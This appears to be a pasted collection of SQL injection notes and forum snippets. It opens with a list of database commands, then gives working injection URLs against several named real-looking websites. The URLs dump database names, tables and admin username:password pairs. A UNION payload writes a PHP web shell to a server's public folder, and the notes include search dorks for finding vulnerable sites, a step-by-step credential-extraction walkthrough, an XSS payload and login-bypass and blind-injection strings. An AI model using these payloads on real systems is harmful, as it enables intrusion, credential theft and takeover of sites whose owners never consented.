  779. I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..
  780. www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*
  781. Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..
  782. Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..
  783. In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...
  784. CTD
  785. MAJOR MySQL COMMANDS:
  786. Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..
  787. All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..
  788. ABORT -- abort the current transaction
  789. ALTER DATABASE -- change a database
  790. ALTER GROUP -- add users to a group or remove users from a group
  791. ALTER TABLE -- change the definition of a table
  792. ALTER TRIGGER -- change the definition of a trigger
  793. ALTER USER -- change a database user account
  794. ANALYZE -- collect statistics about a database
  795. BEGIN -- start a transaction block
  796. CHECKPOINT -- force a transaction log checkpoint
  797. CLOSE -- close a cursor
  798. CLUSTER -- cluster a table according to an index
  799. COMMENT -- define or change the comment of an object
  800. COMMIT -- commit the current transaction
  801. COPY -- copy data between files and tables
  802. CREATE AGGREGATE -- define a new aggregate function
  803. CREATE CAST -- define a user-defined cast
  804. CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
  805. CREATE CONVERSION -- define a user-defined conversion
  806. CREATE DATABASE -- create a new database
  807. CREATE DOMAIN -- define a new domain
  808. CREATE FUNCTION -- define a new function
  809. CREATE GROUP -- define a new user group
  810. CREATE INDEX -- define a new index
  811. CREATE LANGUAGE -- define a new procedural language
  812. CREATE OPERATOR -- define a new operator
  813. CREATE OPERATOR CLASS -- define a new operator class for indexes
  814. CREATE RULE -- define a new rewrite rule
  815. CREATE SCHEMA -- define a new schema
  816. CREATE SEQUENCE -- define a new sequence generator
  817. CREATE TABLE -- define a new table
  818. CREATE TABLE AS -- create a new table from the results of a query
  819. CREATE TRIGGER -- define a new trigger
  820. CREATE TYPE -- define a new data type
  821. CREATE USER -- define a new database user account
  822. CREATE VIEW -- define a new view
  823. DEALLOCATE -- remove a prepared query
  824. DECLARE -- define a cursor
  825. DELETE -- delete rows of a table
  826. DROP AGGREGATE -- remove a user-defined aggregate function
  827. DROP CAST -- remove a user-defined cast
  828. DROP CONVERSION -- remove a user-defined conversion
  829. DROP DATABASE -- remove a database
  830. DROP DOMAIN -- remove a user-defined domain
  831. DROP FUNCTION -- remove a user-defined function
  832. DROP GROUP -- remove a user group
  833. DROP INDEX -- remove an index
  834. DROP LANGUAGE -- remove a user-defined procedural language
  835. DROP OPERATOR -- remove a user-defined operator
  836. DROP OPERATOR CLASS -- remove a user-defined operator class
  837. DROP RULE -- remove a rewrite rule
  838. DROP SCHEMA -- remove a schema
  839. DROP SEQUENCE -- remove a sequence
  840. DROP TABLE -- remove a table
  841. DROP TRIGGER -- remove a trigger
  842. DROP TYPE -- remove a user-defined data type
  843. DROP USER -- remove a database user account
  844. DROP VIEW -- remove a view
  845. END -- commit the current transaction
  846. EXECUTE -- execute a prepared query
  847. EXPLAIN -- show the execution plan of a statement
  848. FETCH -- retrieve rows from a table using a cursor
  849. GRANT -- define access privileges
  850. INSERT -- create new rows in a table
  851. LISTEN -- listen for a notification
  852. LOAD -- load or reload a shared library file
  853. LOCK -- explicitly lock a table
  854. MOVE -- position a cursor on a specified row of a table
  855. NOTIFY -- generate a notification
  856. PREPARE -- create a prepared query
  857. REINDEX -- rebuild corrupted indexes
  858. RESET -- restore the value of a run-time parameter to a default value
  859. REVOKE -- remove access privileges
  860. ROLLBACK -- abort the current transaction
  861. SELECT -- retrieve rows from a table or view
  862. SELECT INTO -- create a new table from the results of a query
  863. SET -- change a run-time parameter
  864. SET CONSTRAINTS -- set the constraint mode of the current transaction
  865. SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
  866. SET TRANSACTION -- set the characteristics of the current transaction
  867. SHOW -- show the value of a run-time parameter
  868. START TRANSACTION -- start a transaction block
  869. TRUNCATE -- empty a table
  870. UNLISTEN -- stop listening for a notification
  871. UPDATE -- update rows of a table
  872. VACUUM -- garbage-collect and optionally analyze a database
  873.  
  874.  
  875.  
  876.  
  877. http://www.wallistile.com/featured.php?id=-548 union select 1,2,3,4,5,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),7,8,9,10,11,12,1 ?3,14,15,16,17,18,19,20--
  878.  
  879.  
  880. .php?id=-1+union+select+1,2,3,4,5,'<?php @system($_REQUEST["cmd"]); ?>',6,7,8+INTO+DUMPFILE+'/home/username/public_html/images/shell.php'
  881.  
  882. http://www.pixheaven.net/galerie_us.php?id=-3 union select 1,1,1,1,1,1,substring(@@version,1,1)=5,1,1-- f
  883.  
  884. ********************************************
  885. inurl:"php?id=" & intitle:"fucked"
  886. article_full.php?id=
  887. media.php?id=14358
  888. exp.php?ID=659
  889. view_video.php?id=19844
  890.  
  891. Example of typical dork: inurl:"product.php?product_id="
  892. Example of a dork I would use: inurl:"view/products.php?ProdID=" & ".co.uk" & intext:"basket"
  893.  
  894. inurl:"option=com_mytube"
  895.  
  896. ***************************
  897.  
  898. union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x(hex value of "admin" here)--
  899.  
  900. This will display the columns contained in table "admin".
  901.  
  902. EDIT: sorry hac already answered ^_^. @op yes that is correct.
  903.  
  904.  
  905. try this
  906.  
  907. Code:
  908. http://www.lifeskillstraining.com/faq.php?id=null union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=0x703235336a376d6c5f6e687061--
  909.  
  910. 703235336a376d6c5f6e687061 = p253j7ml_nhpa in hex. p253j7ml_nhpa is a database in the site. I used this to get the database names.
  911.  
  912. Code:
  913. http://www.lifeskillstraining.com/faq.php?id=null union select 1,group_concat(schema_name),3,4 from information_schema.schemata--
  914.  
  915.  
  916. Using database() gives you the "active" table, where as with using the query above you can see all the databases on the site, and specify which one you want to get the tables from.
  917.  
  918. next, you'd get the columns like so
  919.  
  920. Code:
  921. http://www.lifeskillstraining.com/faq.php?id=null union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x61646d696e--
  922.  
  923. 61646d696e = admin in hex.
  924.  
  925. then finally, we get the username and password info, so we do
  926.  
  927. Code:
  928. http://www.lifeskillstraining.com/faq.php?id=null union select 1,group_concat(username,0x3a,password),3,4 from admin--
  929.  
  930. 3a is a colon in hex. So its like username:password but you have to tell it in hex and you always need a 0x before any hex.
  931.  
  932. NOTE: If you're getting tables from a different database thats not the active one (turns out this is the active database) you need to put the database in that query above too like this
  933.  
  934. Code:
  935. http://www.lifeskillstraining.com/faq.php?id=null union select 1,group_concat(username,0x3a,password),3,4 from p253j7ml_nhpa.admin--
  936.  
  937. (btw null is the same as -4 the - just nulls the number is it can be id=0, or id=null, or id=-99 they are all null)
  938.  
  939.  
  940.  
  941. **************************************************
  942.  
  943. http://www.lifeskillstraining.com:2082
  944.  
  945.  
  946. *****************************************************************
  947.  
  948.  
  949. So once you have you'r site
  950. http://www.xxxx.com/index.php?catid=1
  951. now we add a ' to the end of the url
  952. so the site is
  953. http://www.xxxx.com/index.php?catid=1'
  954. if there is an error of some sort then it is vulnerable
  955. now we need to find the number of columns in the sql database
  956. so we type
  957. http://www.xxxx.com/index.php?catid=1 order by 1-- "no error"
  958. http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"
  959. http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"
  960. http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"
  961. http://www.xxxx.com/index.php?catid=1 order by 5-- "error"
  962.  
  963. so this database has 4 columns because we got an error on 5
  964. on some databases there is 2 columns and on some 200 it varies
  965. so once we have the column number.
  966. we try the union function
  967. http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
  968. if you see some numbers like 1 2 3 4 on the screen or the column names
  969. it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db
  970. so now we need to info about the db
  971. so lets say the numbers 2 and 4 showed up on the screen
  972. so i will use my query on 2
  973. http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
  974. the db type and version will pop up on the screen
  975. if the db version is 4 or lower then to extract the password you will need these queries
  976. http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
  977. this should display the table containing the admin username and password
  978. but if not then you will have to guess the table
  979. so once you have your table "or not"
  980. then type
  981. http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
  982. where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
  983. then once u have the right table name you should get the administrator password
  984. then just do the same thing but type username instead of password
  985. sometimes the password is hashed and you need to crack it.
  986. then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
  987. now if the database is version 5 or up
  988. type
  989. http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
  990. and that will display a list of all the tables
  991. once you have your table name
  992. type the same thing as 4
  993. http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
  994. then the same with username
  995. but now if it doesnt work far all those things
  996. just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
  997. just play around with those
  998. but sometimes we also need to use the version() or version@@
  999. so sometimes UNION SELECT version (),password,3,4 FROM admintable--
  1000. or UNION SELECT version @@,password,3,4 FROM admintable--
  1001.  
  1002.  
  1003. &************************************************
  1004.  
  1005. TO get all DBs use :-
  1006. http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--
  1007.  
  1008. then convert DB name u want to get into to hex and add 0x before the hex
  1009.  
  1010. then use
  1011.  
  1012. the current query
  1013. http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=replace me with hex--
  1014.  
  1015.  
  1016.  
  1017. *****************************************
  1018.  
  1019.  
  1020. Try these steps:
  1021.  
  1022. * To gain access and find a user name.
  1023. 'OR''='
  1024.  
  1025. SELECT name from users WHERE name='' OR ''='' AND password='' OR ''=''
  1026.  
  1027. Enter the string as both user name and password in the frame on the right. This should get you logged in as a user (jake happens to be the first user in the table). This tells you that Jake is a user and it allows you to access his account - but it does not tell you his password.
  1028. * Find out if Jake's password includes the letter "w". Enter xxx as user name and enter the following string as the password:
  1029. Does jake's password have a w in it?
  1030. ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
  1031. Does jake's password start with w?
  1032. ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE 'w%') AND ''='
  1033. Does jake's password have an w followed by d?
  1034. ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%d%') AND ''='
  1035. Is the fourth letter of jake's password w?
  1036. ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '___w%') AND ''='
  1037.  
  1038.  
  1039. ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
  1040.  
  1041. Are there more than 10 rows in the password table?
  1042. ' OR (SELECT COUNT(*) FROM users)>10 AND ''='
  1043. Is there a user with an r in his name?
  1044. ' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
  1045. Is there a user (other than jake) with an a in his name?
  1046. ' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement